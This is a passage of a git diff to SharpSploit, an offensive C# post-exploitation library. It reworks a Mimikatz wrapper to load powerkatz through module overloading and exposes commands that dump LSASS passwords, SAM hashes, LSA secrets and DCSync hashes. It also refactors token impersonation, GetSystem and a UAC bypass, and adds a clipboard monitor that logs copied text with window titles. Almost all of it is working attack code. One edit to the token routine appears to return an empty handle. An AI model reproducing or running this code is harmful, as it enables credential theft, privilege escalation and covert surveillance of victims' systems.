System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames())); - if (MimikatzPE == null) + string[] manifestResources = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames(); + + try { - string[] manifestResources = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames(); - if (IntPtr.Size == 4 && MimikatzPE == null) + if (IntPtr.Size == 4 && !MappedMimikatz) { if (PEBytes32 == null) { PEBytes32 = Utilities.GetEmbeddedResourceBytes("powerkatz_x86.dll"); if (PEBytes32 == null) { return ""; } } - MimikatzPE = PE.Load(PEBytes32); + + MimikatzPE = Overload.OverloadModule(PEBytes32, false); + MappedMimikatz = true; } - else if (IntPtr.Size == 8 && MimikatzPE == null) + else if (IntPtr.Size == 8) { - if (PEBytes64 == null) + if (PEBytes64 == null && !MappedMimikatz) { PEBytes64 = Utilities.GetEmbeddedResourceBytes("powerkatz_x64.dll"); if (PEBytes64 == null) { return ""; } } - MimikatzPE = PE.Load(PEBytes64); + + MimikatzPE = Overload.OverloadModule(PEBytes64, false); + MappedMimikatz = true; } } - if (MimikatzPE == null) { return ""; } - IntPtr functionPointer = MimikatzPE.GetFunctionExport("powershell_reflective_mimikatz"); - if (functionPointer == IntPtr.Zero) { return ""; } + catch (Exception ex) + { + return ex.Message; + } - MimikatzType mimikatz = (MimikatzType) Marshal.GetDelegateForFunctionPointer(functionPointer, typeof(MimikatzType)); - IntPtr input = Marshal.StringToHGlobalUni(Command); try { - IntPtr output = IntPtr.Zero; + string output = ""; Thread t = new Thread(() => { try { - output = mimikatz(input); + object[] parameters = + { + Command + }; + + output = (string)Execution.DynamicInvoke.Generic.CallMappedDLLModuleExport(MimikatzPE.PEINFO, MimikatzPE.ModuleBase, "powershell_reflective_mimikatz", typeof(MimikatzType), parameters); } catch (Exception e) { @@ -86,14 +94,7 @@ public static string Command(string Command = "privilege::debug sekurlsa::logonP }); t.Start(); t.Join(); - Marshal.FreeHGlobal(input); - if (output == IntPtr.Zero) - { - return ""; - } - string stroutput = Marshal.PtrToStringUni(output); - Win32.Kernel32.LocalFree(output); - return stroutput; + return output; } catch (Exception e) { @@ -103,27 +104,37 @@ public static string Command(string Command = "privilege::debug sekurlsa::logonP } /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatzcommand to retrieve plaintext + /// Loads the Mimikatz PE and executes the Mimikatz command to get some coffee. + /// Equates to `Command("coffee")`. + /// + /// Mimikatz output. + public static string Coffee() + { + return Command("coffee"); + } + + /// + /// Loads the Mimikatz PE and executes the Mimikatz command to retrieve plaintext /// passwords from LSASS. Equates to `Command("privilege::debug sekurlsa::logonPasswords")`. (Requires Admin) /// /// Mimikatz output. public static string LogonPasswords() - { - return Command("privilege::debug sekurlsa::logonPasswords"); - } + { + return Command("privilege::debug sekurlsa::logonPasswords"); + } /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve password hashes + /// Loads the Mimikatz PE and executes the Mimikatz command to retrieve password hashes /// from the SAM database. Equates to `Command("privilege::debug lsadump::sam")`. (Requires Admin) /// /// Mimikatz output. public static string SamDump() { - return Command("token::elevate lsadump::sam"); + return Command("token::elevate lsadump::sam"); } /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve LSA secrets + /// Loads the Mimikatz PE and executes the Mimikatz command to retrieve LSA secrets /// stored in registry. Equates to `Command("privilege::debug lsadump::secrets")`. (Requires Admin) /// /// Mimikatz output. @@ -133,7 +144,7 @@ public static string LsaSecrets() } /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve Domain + /// Loads the Mimikatz PE and executes the Mimikatz command to retrieve Domain /// Cached Credentials hashes from registry. Equates to `Command("privilege::debug lsadump::cache")`. /// (Requires Admin) /// @@ -144,7 +155,7 @@ public static string LsaCache() } /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve Wdigest + /// Loads the Mimikatz PE and executes the Mimikatz command to retrieve Wdigest /// credentials from registry. Equates to `Command("sekurlsa::wdigest")`. /// /// Mimikatz output. @@ -154,22 +165,22 @@ public static string Wdigest() } /// - /// Loads the Mimikatz PE with `PE.Load()` and executes each of the builtin local commands (not DCSync). (Requires Admin) + /// Loads the Mimikatz PE and executes each of the builtin local commands (not DCSync). (Requires Admin) /// /// Mimikatz output. public static string All() { - StringBuilder builder = new StringBuilder(); - builder.AppendLine(LogonPasswords()); - builder.AppendLine(SamDump()); - builder.AppendLine(LsaSecrets()); - builder.AppendLine(LsaCache()); - builder.AppendLine(Wdigest()); - return builder.ToString(); + StringBuilder builder = new StringBuilder(); + builder.AppendLine(LogonPasswords()); + builder.AppendLine(SamDump()); + builder.AppendLine(LsaSecrets()); + builder.AppendLine(LsaCache()); + builder.AppendLine(Wdigest()); + return builder.ToString(); } /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the "dcsync" module to retrieve the NTLM hash of a specified (or all) Domain user. (Requires Domain Admin) + /// Loads the Mimikatz PE and executes the "dcsync" module to retrieve the NTLM hash of a specified (or all) Domain user. (Requires Domain Admin) /// /// Username to retrieve NTLM hash for. "All" for all domain users. /// Optionally specify an alternative fully qualified domain name. Default is current domain. @@ -205,7 +216,7 @@ public static string DCSync(string user, string FQDN = null, string DC = null) } /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the "pth" module to start a new process + /// Loads the Mimikatz PE and executes the "pth" module to start a new process /// as a user using an NTLM password hash for authentication. /// /// Username to authenticate as. diff --git a/SharpSploit/Credentials/Tokens.cs b/SharpSploit/Credentials/Tokens.cs index 0cfb202..48b12dd 100644 --- a/SharpSploit/Credentials/Tokens.cs +++ b/SharpSploit/Credentials/Tokens.cs @@ -12,6 +12,7 @@ using System.Runtime.InteropServices; using SharpSploit.Execution; +using PInvoke = SharpSploit.Execution.PlatformInvoke; namespace SharpSploit.Credentials { @@ -30,15 +31,9 @@ public class Tokens : IDisposable /// /// Creates the Tokens class, attempts to obtain the current process' token, and obtain the SeDebugPrivilege. /// - public Tokens() + public Tokens(bool EnableSeDebugPrivilege = true) { - IntPtr currentProcessToken = this.GetCurrentProcessToken(); - if (currentProcessToken == IntPtr.Zero) - { - return; - } - - this.EnableTokenPrivilege(ref currentProcessToken, "SeDebugPrivilege"); + this.EnableCurrentProcessTokenPrivilege("SeDebugPrivilege"); } ~Tokens() @@ -76,13 +71,10 @@ public string WhoAmI() public bool ImpersonateUser(string Username) { List userProcessTokens = this.GetUserProcessTokensForUser(Username); - Console.WriteLine("Processes for " + Username + ": " + userProcessTokens.Count); foreach (UserProcessToken userProcessToken in userProcessTokens) { - Console.WriteLine("Attempting to impersonate: " + Username); if (this.ImpersonateProcess((UInt32)userProcessToken.Process.Id)) { - Console.WriteLine("Impersonated: " + WindowsIdentity.GetCurrent().Name); return true; } } @@ -104,14 +96,13 @@ public bool ImpersonateProcess(UInt32 ProcessID) } Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES(); - IntPtr hDuplicateToken = IntPtr.Zero; - if (!Win32.Advapi32.DuplicateTokenEx( + if (!PInvoke.Win32.Advapi32.DuplicateTokenEx( hProcessToken, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, ref securityAttributes, Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Win32.WinNT.TOKEN_TYPE.TokenPrimary, - out hDuplicateToken + Win32.WinNT.TOKEN_TYPE.TokenImpersonation, + out IntPtr hDuplicateToken ) ) { @@ -121,7 +112,7 @@ out hDuplicateToken } this.OpenHandles.Add(hDuplicateToken); - if (!Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken)) + if (!PInvoke.Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken)) { Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); this.CloseHandle(hProcessToken); @@ -138,11 +129,8 @@ out hDuplicateToken /// True if impersonation succeeds, false otherwise. public bool GetSystem() { - Console.WriteLine("Getting system..."); SecurityIdentifier securityIdentifier = new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null); NTAccount systemAccount = (NTAccount)securityIdentifier.Translate(typeof(NTAccount)); - Console.WriteLine("Impersonate " + systemAccount.ToString() + "..."); - return this.ImpersonateUser(systemAccount.ToString()); } @@ -165,11 +153,10 @@ public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string P List processes = ProcessId == 0 ? this.GetUserProcessTokens(true).Select(UPT => UPT.Process).ToList() : new List { Process.GetProcessById(ProcessId) }; - Console.WriteLine("Elevated processes: " + processes.Count); foreach (Process process in processes) { // Get PrimaryToken - IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, false, (UInt32)process.Id); + IntPtr hProcess = PInvoke.Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, false, (UInt32)process.Id); if (hProcess == IntPtr.Zero) { Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); @@ -178,7 +165,7 @@ public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string P this.OpenHandles.Add(hProcess); IntPtr hProcessToken = IntPtr.Zero; - if (!Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken)) + if (!PInvoke.Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken)) { Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; @@ -188,7 +175,7 @@ public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string P Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES(); IntPtr hDuplicateToken = IntPtr.Zero; - if (!Win32.Advapi32.DuplicateTokenEx( + if (!PInvoke.Win32.Advapi32.DuplicateTokenEx( hProcessToken, (UInt32)Win32.Advapi32.TOKEN_ALL_ACCESS, ref securityAttributes, @@ -208,7 +195,7 @@ public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string P pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; byte nSubAuthorityCount = 1; IntPtr pSid = new IntPtr(); - if (!Win32.Advapi32.AllocateAndInitializeSid(ref pIdentifierAuthority, nSubAuthorityCount, 0x2000, 0, 0, 0, 0, 0, 0, 0, out pSid)) + if (!PInvoke.Win32.Advapi32.AllocateAndInitializeSid(ref pIdentifierAuthority, nSubAuthorityCount, 0x2000, 0, 0, 0, 0, 0, 0, 0, out pSid)) { Console.Error.WriteLine("AllocateAndInitializeSid() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; @@ -222,14 +209,14 @@ public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string P tokenMandatoryLevel.Label = sidAndAttributes; Int32 tokenMandatoryLabelSize = Marshal.SizeOf(tokenMandatoryLevel); - if (Win32.NtDll.NtSetInformationToken(hDuplicateToken, 25, ref tokenMandatoryLevel, tokenMandatoryLabelSize) != 0) + if (PInvoke.Native.NtSetInformationToken(hDuplicateToken, 25, ref tokenMandatoryLevel, tokenMandatoryLabelSize) != 0) { Console.Error.WriteLine("NtSetInformationToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; } IntPtr hFilteredToken = IntPtr.Zero; - if (Win32.NtDll.NtFilterToken(hDuplicateToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref hFilteredToken) != 0) + if (PInvoke.Native.NtFilterToken(hDuplicateToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref hFilteredToken) != 0) { Console.Error.WriteLine("NtFilterToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; @@ -240,7 +227,7 @@ public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string P // ImpersonateUser Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes2 = new Win32.WinBase._SECURITY_ATTRIBUTES(); IntPtr hDuplicateToken2 = IntPtr.Zero; - if (!Win32.Advapi32.DuplicateTokenEx( + if (!PInvoke.Win32.Advapi32.DuplicateTokenEx( hFilteredToken, (UInt32)(Win32.Advapi32.TOKEN_IMPERSONATE | Win32.Advapi32.TOKEN_QUERY), ref securityAttributes2, @@ -255,7 +242,7 @@ public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string P this.OpenHandles.Add(hDuplicateToken2); this.CloseHandle(hFilteredToken); - if (!Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken2)) + if (!PInvoke.Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken2)) { Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); continue; @@ -264,7 +251,7 @@ public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string P Win32.ProcessThreadsAPI._STARTUPINFO startupInfo = new Win32.ProcessThreadsAPI._STARTUPINFO(); startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Win32.ProcessThreadsAPI._STARTUPINFO)); Win32.ProcessThreadsAPI._PROCESS_INFORMATION processInformation = new Win32.ProcessThreadsAPI._PROCESS_INFORMATION(); - if (!Win32.Advapi32.CreateProcessWithLogonW(Environment.UserName, Environment.UserDomainName, "password", + if (!PInvoke.Win32.Advapi32.CreateProcessWithLogonW(Environment.UserName, Environment.UserDomainName, "password", 0x00000002, Path + Binary, Path + Binary + " " + Arguments, 0x04000000, IntPtr.Zero, Path, ref startupInfo, out processInformation)) { Console.Error.WriteLine("CreateProcessWithLogonW() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); @@ -295,7 +282,7 @@ public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string P public T RunAs(string Username, string Domain, string Password, Func Action, Win32.Advapi32.LOGON_TYPE LogonType = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_INTERACTIVE) { IntPtr hProcessToken = IntPtr.Zero; - if (!Win32.Advapi32.LogonUserA( + if (!PInvoke.Win32.Advapi32.LogonUserA( Username, Domain, Password, LogonType, Win32.Advapi32.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT, out hProcessToken)) @@ -305,7 +292,7 @@ public T RunAs(string Username, string Domain, string Password, Func Actio } this.OpenHandles.Add(hProcessToken); - if (!Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken)) + if (!PInvoke.Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken)) { Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); this.CloseHandle(hProcessToken); @@ -333,7 +320,7 @@ public T RunAs(string Username, string Domain, string Password, Func Actio public bool MakeToken(string Username, string Domain, string Password, Win32.Advapi32.LOGON_TYPE LogonType = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS) { IntPtr hProcessToken = IntPtr.Zero; - if (!Win32.Advapi32.LogonUserA( + if (!PInvoke.Win32.Advapi32.LogonUserA( Username, Domain, Password, LogonType, Win32.Advapi32.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT, out hProcessToken) @@ -344,7 +331,7 @@ public bool MakeToken(string Username, string Domain, string Password, Win32.Adv } this.OpenHandles.Add(hProcessToken); - if (!Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken)) + if (!PInvoke.Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken)) { Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); this.CloseHandle(hProcessToken); @@ -361,7 +348,7 @@ public bool MakeToken(string Username, string Domain, string Password, Win32.Adv /// True if RevertToSelf succeeds, false otherwise. public bool RevertToSelf() { - if (!Win32.Advapi32.RevertToSelf()) + if (!PInvoke.Win32.Advapi32.RevertToSelf()) { Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); return false; @@ -401,7 +388,7 @@ private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATIS } IntPtr ppLogonSessionData = new IntPtr(); - if (Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0) + if (PInvoke.Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0) { Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); return ""; @@ -424,14 +411,13 @@ private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATIS private IntPtr GetCurrentProcessToken() { - IntPtr currentProcessToken = new IntPtr(); - if (!Win32.Kernel32.OpenProcessToken(Process.GetCurrentProcess().Handle, Win32.Advapi32.TOKEN_ALL_ACCESS, out currentProcessToken)) + if (!PInvoke.Win32.Kernel32.OpenProcessToken(Process.GetCurrentProcess().Handle, Win32.Advapi32.TOKEN_ALL_ACCESS, out IntPtr currentProcessToken)) { Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); return IntPtr.Zero; } - OpenHandles.Add(currentProcessToken); - return currentProcessToken; + OpenHandles.Add(new IntPtr()); + return new IntPtr(); } private static bool TokenIsElevated(IntPtr hToken) @@ -440,7 +426,7 @@ private static bool TokenIsElevated(IntPtr hToken) IntPtr tokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32))); UInt32 returnLength; - Boolean result = Win32.Advapi32.GetTokenInformation( + bool result = PInvoke.Win32.Advapi32.GetTokenInformation( hToken, Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenElevationType, tokenInformation, @@ -463,7 +449,7 @@ out returnLength private IntPtr GetTokenForProcess(UInt32 ProcessID) { - IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_INFORMATION, true, ProcessID); + IntPtr hProcess = PInvoke.Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_INFORMATION, true, ProcessID); if (hProcess == IntPtr.Zero) { Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); @@ -472,7 +458,7 @@ private IntPtr GetTokenForProcess(UInt32 ProcessID) this.OpenHandles.Add(hProcess); IntPtr hProcessToken = IntPtr.Zero; - if (!Win32.Kernel32.OpenProcessToken(hProcess, Win32.Advapi32.TOKEN_ALT, out hProcessToken)) + if (!PInvoke.Win32.Kernel32.OpenProcessToken(hProcess, Win32.Advapi32.TOKEN_ALT, out hProcessToken)) { Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); return IntPtr.Zero; @@ -486,7 +472,7 @@ private IntPtr GetTokenForProcess(UInt32 ProcessID) private bool CloseHandle(IntPtr handle, bool Remove = true) { if (Remove) { this.OpenHandles.Remove(handle); } - return Win32.Kernel32.CloseHandle(handle); + return PInvoke.Win32.Kernel32.CloseHandle(handle); } private static List Privileges = new List { "SeAssignPrimaryTokenPrivilege", @@ -502,36 +488,49 @@ private bool CloseHandle(IntPtr handle, bool Remove = true) "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", "SeUndockPrivilege", "SeUnsolicitedInputPrivilege" }; + public bool EnableCurrentProcessTokenPrivilege(string Privilege) + { + IntPtr currentProcessToken = this.GetCurrentProcessToken(); + if (currentProcessToken == IntPtr.Zero) + { + return false; + } + return EnableTokenPrivilege(ref currentProcessToken, Privilege); + } + /// /// Enables a specified security privilege for a specified token. /// /// Token to enable a security privilege for. /// Privilege to enable. /// True if enabling Token succeeds, false otherwise. - public bool EnableTokenPrivilege(ref IntPtr hToken, string Privilege) + public static bool EnableTokenPrivilege(ref IntPtr hToken, string Privilege) { if (!Privileges.Contains(Privilege)) { return false; } Win32.WinNT._LUID luid = new Win32.WinNT._LUID(); - if (!Win32.Advapi32.LookupPrivilegeValue(null, Privilege, ref luid)) + if (!PInvoke.Win32.Advapi32.LookupPrivilegeValue(null, Privilege, ref luid)) { Console.Error.WriteLine("LookupPrivilegeValue() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); return false; } - Win32.WinNT._LUID_AND_ATTRIBUTES luidAndAttributes = new Win32.WinNT._LUID_AND_ATTRIBUTES(); - luidAndAttributes.Luid = luid; - luidAndAttributes.Attributes = Win32.WinNT.SE_PRIVILEGE_ENABLED; + Win32.WinNT._LUID_AND_ATTRIBUTES luidAndAttributes = new Win32.WinNT._LUID_AND_ATTRIBUTES + { + Luid = luid, + Attributes = Win32.WinNT.SE_PRIVILEGE_ENABLED + }; - Win32.WinNT._TOKEN_PRIVILEGES newState = new Win32.WinNT._TOKEN_PRIVILEGES(); - newState.PrivilegeCount = 1; - newState.Privileges = luidAndAttributes; + Win32.WinNT._TOKEN_PRIVILEGES newState = new Win32.WinNT._TOKEN_PRIVILEGES + { + PrivilegeCount = 1, + Privileges = luidAndAttributes + }; Win32.WinNT._TOKEN_PRIVILEGES previousState = new Win32.WinNT._TOKEN_PRIVILEGES(); - UInt32 returnLength = 0; - if (!Win32.Advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength)) + if (!PInvoke.Win32.Advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out _)) { Console.Error.WriteLine("AdjustTokenPrivileges() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); return false; @@ -555,31 +554,31 @@ public class UserProcessToken public UserProcessToken(Process process) { this.Process = process; - IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, true, (UInt32)this.Process.Id); + IntPtr hProcess = PInvoke.Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, true, (UInt32)this.Process.Id); if (hProcess == IntPtr.Zero) { throw new CreateUserProcessTokenException("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); } IntPtr hProcessToken; - if (!Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken)) + if (!PInvoke.Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken)) { throw new CreateUserProcessTokenException("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); } - Win32.Kernel32.CloseHandle(hProcess); + PInvoke.Win32.Kernel32.CloseHandle(hProcess); UInt32 dwLength = 0; Win32.WinNT._TOKEN_STATISTICS tokenStatistics = new Win32.WinNT._TOKEN_STATISTICS(); this.TokenType = tokenStatistics.TokenType; - if (!Win32.Advapi32.GetTokenInformation(hProcessToken, Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) + if (!PInvoke.Win32.Advapi32.GetTokenInformation(hProcessToken, Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { - if (!Win32.Advapi32.GetTokenInformation(hProcessToken, Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) + if (!PInvoke.Win32.Advapi32.GetTokenInformation(hProcessToken, Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { throw new CreateUserProcessTokenException("GetTokenInformation() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); } } this.IsElevated = TokenIsElevated(hProcessToken); - Win32.Kernel32.CloseHandle(hProcessToken); + PInvoke.Win32.Kernel32.CloseHandle(hProcessToken); this.Username = ConvertTokenStatisticsToUsername(tokenStatistics); if (this.Username == null || this.Username == "") @@ -599,7 +598,7 @@ private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATIS } IntPtr ppLogonSessionData = new IntPtr(); - if (Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0) + if (PInvoke.Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0) { Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); return ""; @@ -639,11 +638,11 @@ public static string ConvertSidToName(IntPtr pSid) StringBuilder lpReferencedDomainName = new StringBuilder(); UInt32 cchReferencedDomainName = (UInt32)lpReferencedDomainName.Capacity; Win32.WinNT._SID_NAME_USE sidNameUser; - Win32.Advapi32.LookupAccountSid(String.Empty, pSid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser); + PInvoke.Win32.Advapi32.LookupAccountSid(String.Empty, pSid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser); lpName.EnsureCapacity((Int32)cchName); lpReferencedDomainName.EnsureCapacity((Int32)cchReferencedDomainName); - if (Win32.Advapi32.LookupAccountSid(String.Empty, pSid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser)) + if (PInvoke.Win32.Advapi32.LookupAccountSid(String.Empty, pSid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser)) { return ""; } diff --git a/SharpSploit/Enumeration/Clipboard.cs b/SharpSploit/Enumeration/Clipboard.cs new file mode 100644 index 0000000..c4b56a3 --- /dev/null +++ b/SharpSploit/Enumeration/Clipboard.cs @@ -0,0 +1,112 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: SharpSploit (https://github.com/cobbr/SharpSploit) +// License: BSD 3-Clause + +using System; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +using PInvoke = SharpSploit.Execution.PlatformInvoke; + +namespace SharpSploit.Enumeration +{ + /// + /// Clipboard allows for the monitoring of Clipboard text content. + /// + public class Clipboard + { + /// + /// Starts a clipboard monitor + /// + /// Nick Muir (@_shellfarmer) + /// String containing the captured clipboard contents, along with identification of what window they were copied from. + /// The amount of time in seconds the clipboard monitor should run for before returning data. + public static string StartClipboardMonitor(int Seconds) + { + StringBuilder builder = new StringBuilder(); + builder.AppendLine(string.Format("[*] Starting Clipboard Monitor for {0} seconds.", Seconds)); + builder.AppendLine(); + + if (Seconds <= 0) + { + NotificationForm form = new NotificationForm(); + Application.Run(form); + builder.Append(form.GetOutput()); + return builder.ToString(); + } + else + { + using (System.Timers.Timer timer = new System.Timers.Timer(Seconds * 1000)) + { + timer.Elapsed += (source, e) => + { + builder.AppendLine(string.Format("[*] Finished Clipboard Monitor at {0:HH:mm:ss.fff}", DateTime.Now)); + timer.Stop(); + Application.Exit(); + }; + timer.Start(); + NotificationForm form = new NotificationForm(); + Application.Run(form); + builder.Append(form.GetOutput()); + return builder.ToString(); + } + } + } + + private class NotificationForm : Form + { + private readonly StringBuilder Builder = new StringBuilder(); + public NotificationForm() + { + PInvoke.Win32.User32.SetParent(Handle, new IntPtr(-3)); + PInvoke.Win32.User32.AddClipboardFormatListener(Handle); + } + + public string GetOutput() + { + return this.Builder.ToString(); + } + + protected override void WndProc(ref Message m) + { + if (m.Msg == 0x031D) + { + Thread t = new Thread(() => { + if (System.Windows.Forms.Clipboard.ContainsText()) + { + Builder.AppendLine(string.Format("[+] Collected: {0:HH:mm:ss.fff}", DateTime.Now)); + Builder.AppendLine(string.Format("[+] Window Title: {0}", GetActiveWindowTitle())); + Builder.AppendLine("[+] Data:"); + Builder.AppendLine(string.Format("{0}", System.Windows.Forms.Clipboard.GetText())); + Builder.AppendLine(); + } + }); + + t.SetApartmentState(ApartmentState.STA); + t.Start(); + t.Join(); + } + base.WndProc(ref m); + } + } + + /// + /// Gets the active window title of the window keystrokes are being entered in. + /// + /// Scottie Austin (@checkymander) + /// Title of the active window. + private static string GetActiveWindowTitle() + { + const int capacity = 256; + StringBuilder builder = new StringBuilder(capacity); + IntPtr handle = PInvoke.Win32.User32.GetForegroundWindow(); + + if (PInvoke.Win32.User32.GetWindowText(handle, builder, capacity) > 0) + { + return builder.ToString(); + } + return null; + } + } +} diff --git a/SharpSploit/Enumeration/Domain.cs b/SharpSploit/Enumeration/Domain.cs index 411ee47..7a105ae 100644 --- a/SharpSploit/Enumeration/Domain.cs +++ b/SharpSploit/Enumeration/Domain.cs @@ -15,6 +15,7 @@ using System.Collections.Generic; using SharpSploit.Execution; +using PInvoke = SharpSploit.Execution.PlatformInvoke; namespace SharpSploit.Enumeration { @@ -413,6 +414,12 @@ public List GetDomainComputers(IEnumerable Identities = nu this.DirectorySearcher.Filter = "(&(samAccountType=805306369)" + Filter + ")"; + if (Properties != null) + { + this.DirectorySearcher.PropertiesToLoad.Clear(); + this.DirectorySearcher.PropertiesToLoad.AddRange(Properties.ToArray()); + } + List results = new List(); try { @@ -703,11 +710,11 @@ private static string ConvertIdentitiesToFilter(IEnumerable Identities, private static string ConvertADName(string Identity, NameType type = NameType.Canonical) { - Win32.ActiveDs.Init(3, null); - Win32.ActiveDs.put_ChaseReferral(0x60); - Win32.ActiveDs.Set(8, Identity); + PInvoke.Win32.ActiveDs.Init(3, null); + PInvoke.Win32.ActiveDs.put_ChaseReferral(0x60); + PInvoke.Win32.ActiveDs.Set(8, Identity); string adname = ""; - Win32.ActiveDs.Get((int)type, ref adname); + 